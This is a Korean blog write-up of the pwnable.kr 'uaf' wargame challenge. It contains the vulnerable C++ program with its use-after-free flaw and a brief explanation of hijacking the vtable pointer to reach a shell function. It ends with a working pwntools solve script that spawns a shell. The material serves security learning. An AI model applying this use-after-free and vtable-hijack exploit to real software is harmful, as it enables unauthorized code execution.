1. Reversing
#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;
class Human{
private:
virtual void give_shell(){
system("/bin/sh");
}
protected:
int age;
string name;
public:
virtual void introduce(){
cout << "My name is " << name << endl;
cout << "I am " << age << " years old" << endl;
}
};
class Man: public Human{
public:
Man(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a nice guy!" << endl;
}
};
class Woman: public Human{
public:
Woman(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a cute girl!" << endl;
}
};
int main(int argc, char* argv[]){
Human* m = new Man("Jack", 25);
Human* w = new Woman("Jill", 21);
size_t len;
char* data;
unsigned int op;
while(1){
cout << "1. use\n2. after\n3. free\n";
cin >> op;
switch(op){
case 1:
m->introduce();
w->introduce();
break;
case 2:
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case 3:
delete m;
delete w;
break;
default:
break;
}
}
return 0;
}
2. Exploit
바이너리를 분석해보면 알겠지만 class에 해당되는 바이너리에 박혀있는 vtable을 heap으로 할당되있는 것을 참조해 접근 하는 것을 볼 수 있었다. (정확히 뭔지는 모름..)
해당 vtable의 사이즈가 각각 0x20이기 때문에 vtable의 값을 8byte만 빼주면 Man::introduce()이나
Woman::introduce()가 아닌 Human::give_shell()이 호출 되기 때문에
data file을 해당 값에 8byte만 빼준 값으로 넣어주면 된다.
순서대로 3 -> 2 -> 2-> 1로 실행해준다면 되겠다.
3. slv.py
from pwn import *
context.terminal = ['/goorm/tmux', 'splitw', '-h']
script='''
b* 0x0000000000401041
b* 0x0000000000401053
'''
Overwrite_Addr = 0x401570-0x8
data = ''
f = open('./data', 'w')
data += p64(Overwrite_Addr)
data += p64(0xdeadbeef)
f.write(data)
f.close()
argvs = [str(i) for i in range(4)]
argvs[2] = './data'
argvs[1] = str(len(data))
p = process(executable = './uaf', argv=argvs)
gdb.attach(p, script)
p.recv()
p.sendline('3')
p.recv()
p.sendline('2')
p.recv()
p.sendline('2')
p.recv()
p.sendline('1')
p.interactive()
[깨달은 점]
1. C++에서 사용되는 vtable과 관련된 것도 heap으로 할당해서 사용한다는 것
'System > pwnable.kr' 카테고리의 다른 글
[Pwnable.kr] - leg - 190711 (0) | 2019.07.11 |
---|---|
[Pwnable.kr] - input - 190704 (0) | 2019.07.04 |
[Pwnable.kr] - fix - 190622 (0) | 2019.06.22 |